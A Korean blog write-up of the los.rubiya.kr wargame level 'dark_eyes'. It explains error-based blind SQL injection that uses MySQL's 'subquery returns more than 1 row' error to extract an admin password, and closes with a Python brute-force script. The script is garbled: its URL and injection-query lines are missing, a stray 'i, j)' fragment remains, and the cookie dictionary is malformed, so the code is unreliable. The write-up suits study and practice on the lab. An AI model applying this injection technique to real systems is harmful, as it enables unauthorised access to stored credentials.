DoR@Hee의 끄적끄적

los - dark_eyes 본문

WarGame/los(los.rubiya.kr)

los - dark_eyes

DoR@Hee 2019. 4. 26. 09:48

[그림1] 문제 

이 문제는 iron_golem과 비슷한 문제이지만 col | if | case-when 등 조건에 따른 구문을 막고 있다.

하지만 iron_golem에서 이용했던 select 1 union select 2를 이용해서 풀 수 있다.

 

[그림2] 에러 메시지 확인

' (싱글 쿼터)를 입력했을 때 에러 메시지가 나오겠지 하고 생각했으나

아무런 에러메시지가 안 나온다. 

 

[그림3]  혹시 확인

혹시 머라도 있을까 했지만 아무것도 없다 즉 쿼리가 일 경우 아무것도 안 보이게 하고 

쿼리가 거짓을 경우 원래 창이 보이도록 해야 한다.

 

[그림4] 쿼리 작성

쿼리를 일단 작성해 보았다 위와 같이 쿼리를 작성할 경우 서브 쿼리에 따른 반환 값이 1개 이기 때문에

원래 페이지를 유지하는 것을 확인할 수 있었다. 그것을 mysql에서 확인해보면

 

[그림5] mysql 에서 확인 select 1 union select 1

쿼리가 값이 한 개만 나오는 것을 확인할 수 있고

 

[그림6] mysql 에서 확인 select 1 union select 2
[그림7] Subquery returns more than 1 row 에러

서브 쿼리에 반환이 2개 이상이기 때문에 에러가 발생한다 

 

[그림8] 통수 길이 확인

혹시 다른 문제처럼 한글인지 확인하기 위해서 [그림 8]과 같이 쿼리를 작성했고 1일 때 원래 페이지가 나오는걸 보아 길이가 1 인걸 확인할 수 있었다 [그림 8]과 같이 쿼리가 작성되는 이유는 mysql에서 확인 했을 때 다음과 같다.

 

[그림8] 쿼리 반환값 확인 - 참일 경우

[그림8] 과 같이 SELECT 1 UNION SELECT length(substr("aaa",1,1))=1을 작성했을 경우 

문자열 "aaa"에 첫 번째 한자리의 길이가 1이 맞니?라고 물어보는 쿼리인데 

substr은 일 경우 1 거짓일 경우 0을 반환한다. 

즉 서브 쿼리에서 반환되는 값이 1 한 개이기 때문에 에러는 발생 안 하며

[그림9] 쿼리 반환값 확인 - 거짓일 경우

[그림 9]과 같이 SELECT 1 UNION SELECT length(substr("aaa",1,1))=2를 작성했을 경우 쿼리는 거짓이기 때문에

2개의 결과값이 나오는 걸 확인할 수 있다.

 

이걸 기준으로 쿼리를 작성해 보자면

[그림10] admin pw 길이 확인

[그림 10]과 같이 쿼리를 작성하였을 때 원래 페이지인걸 보아 길이는 8자리

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
cookies = {'PHPSESSID''62n1352bof8mn39dqtafh9rdp0'}
 
for lengths in range(130):
    length = 0
    res = requests.get(url, cookies=cookies)
    if "query " in res.text:
        print("=====================================")
        print("길이는{0}".format(lengths))
        print("=====================================\n")
        length = lengths
        break
    else:
        continue
 
for i in range(1, length + 1):
    for j in range(33127):
        result = []
            i, j)
        res = requests.get(url, cookies=cookies)
        if "query " in res.text:
            print("{0}".format(chr(j)), end='')
            result.append(chr(j))
            break
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
 

[코드 1] 파이썬 코드 작성

위 풀이를 기준으로 코드를 작성했고

 

[그림11] 결과값 확인
[그림13] Clear!

'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글

los - iron_golem  (0) 2019.04.25
los - dragon  (0) 2019.03.30
los - xavis  (1) 2019.03.30
los - nightmare  (0) 2019.03.29
los - succubus  (0) 2019.03.28
Comments